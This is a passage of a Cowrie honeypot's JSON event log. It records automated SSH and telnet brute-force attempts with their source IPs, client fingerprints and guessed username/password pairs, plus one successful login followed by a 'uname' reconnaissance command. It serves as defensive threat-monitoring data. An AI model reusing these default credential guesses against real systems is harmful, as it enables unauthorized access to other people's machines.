es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:32.975761Z","src_ip":"45.156.87.254","session":"2db3b55e0baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:33.229670Z","src_ip":"45.156.87.254","session":"2db3b55e0baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:34.316075Z","src_ip":"45.156.87.254","session":"2db3b55e0baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":44932,"dst_ip":"10.17.0.5","dst_port":22,"session":"f029e74b1319","protocol":"ssh","message":"New connection: 185.16.214.226:44932 (10.17.0.5:22) [session: f029e74b1319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:35.490810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:35.495467Z","src_ip":"185.16.214.226","session":"f029e74b1319","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:35.620744Z","src_ip":"185.16.214.226","session":"f029e74b1319","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server11","message":"login attempt [server/server11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:36.133842Z","src_ip":"185.16.214.226","session":"f029e74b1319","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:37.257234Z","src_ip":"185.16.214.226","session":"f029e74b1319","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4dfa219b456","protocol":"ssh","message":"New connection: 45.156.87.254:44802 (159.203.135.109:22) [session: c4dfa219b456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:37.892838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:37.897512Z","src_ip":"45.156.87.254","session":"c4dfa219b456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:37.984202Z","src_ip":"45.156.87.254","session":"c4dfa219b456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:38.282163Z","src_ip":"45.156.87.254","session":"c4dfa219b456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:39.369143Z","src_ip":"45.156.87.254","session":"c4dfa219b456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60578,"dst_ip":"159.203.135.109","dst_port":22,"session":"e014fa055130","protocol":"ssh","message":"New connection: 45.156.87.254:60578 (159.203.135.109:22) [session: e014fa055130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:43.099917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:43.105484Z","src_ip":"45.156.87.254","session":"e014fa055130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:43.192850Z","src_ip":"45.156.87.254","session":"e014fa055130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:43.479436Z","src_ip":"45.156.87.254","session":"e014fa055130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:44.568027Z","src_ip":"45.156.87.254","session":"e014fa055130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46906,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bcc813843e0","protocol":"telnet","message":"New connection: 20.123.41.163:46906 (10.17.0.5:23) [session: 3bcc813843e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:44.807338Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60584,"dst_ip":"159.203.135.109","dst_port":22,"session":"b888e96c9058","protocol":"ssh","message":"New connection: 45.156.87.254:60584 (159.203.135.109:22) [session: b888e96c9058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:48.277929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:48.282099Z","src_ip":"45.156.87.254","session":"b888e96c9058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:48.366132Z","src_ip":"45.156.87.254","session":"b888e96c9058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:48.619965Z","src_ip":"45.156.87.254","session":"b888e96c9058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:49.707746Z","src_ip":"45.156.87.254","session":"b888e96c9058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":39116,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddbd0aa677e","protocol":"ssh","message":"New connection: 186.30.115.187:39116 (10.17.0.5:22) [session: 9ddbd0aa677e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:50.879511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:50.888759Z","src_ip":"186.30.115.187","session":"9ddbd0aa677e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:50.984875Z","src_ip":"186.30.115.187","session":"9ddbd0aa677e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123?","message":"login attempt [root/admin123?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:51.410275Z","src_ip":"186.30.115.187","session":"9ddbd0aa677e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:52.509598Z","src_ip":"186.30.115.187","session":"9ddbd0aa677e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38302,"dst_ip":"159.203.135.109","dst_port":22,"session":"9443c2d80570","protocol":"ssh","message":"New connection: 45.156.87.254:38302 (159.203.135.109:22) [session: 9443c2d80570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:53.288980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:53.293858Z","src_ip":"45.156.87.254","session":"9443c2d80570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:53.378163Z","src_ip":"45.156.87.254","session":"9443c2d80570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"hduser","message":"login attempt [hduser/hduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:53.642948Z","src_ip":"45.156.87.254","session":"9443c2d80570","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:54.728647Z","src_ip":"45.156.87.254","session":"9443c2d80570","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57998,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e00ce2f8a29","protocol":"telnet","message":"New connection: 104.245.105.2:57998 (10.17.0.5:23) [session: 4e00ce2f8a29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:55.389054Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45034,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b700d66c0f6","protocol":"ssh","message":"New connection: 45.156.87.254:45034 (159.203.135.109:22) [session: 6b700d66c0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:58.609071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:58.614050Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:58.701753Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot123","message":"login attempt [bot/bot123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:59.163383Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:59.418897Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:59.421699Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:59.507638Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:58:59.512793Z","src_ip":"45.156.87.254","session":"6b700d66c0f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":45048,"dst_ip":"159.203.135.109","dst_port":22,"session":"65ea416cd056","protocol":"ssh","message":"New connection: 45.156.87.254:45048 (159.203.135.109:22) [session: 65ea416cd056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:04.020195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:59:04.025682Z","src_ip":"45.156.87.254","session":"65ea416cd056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr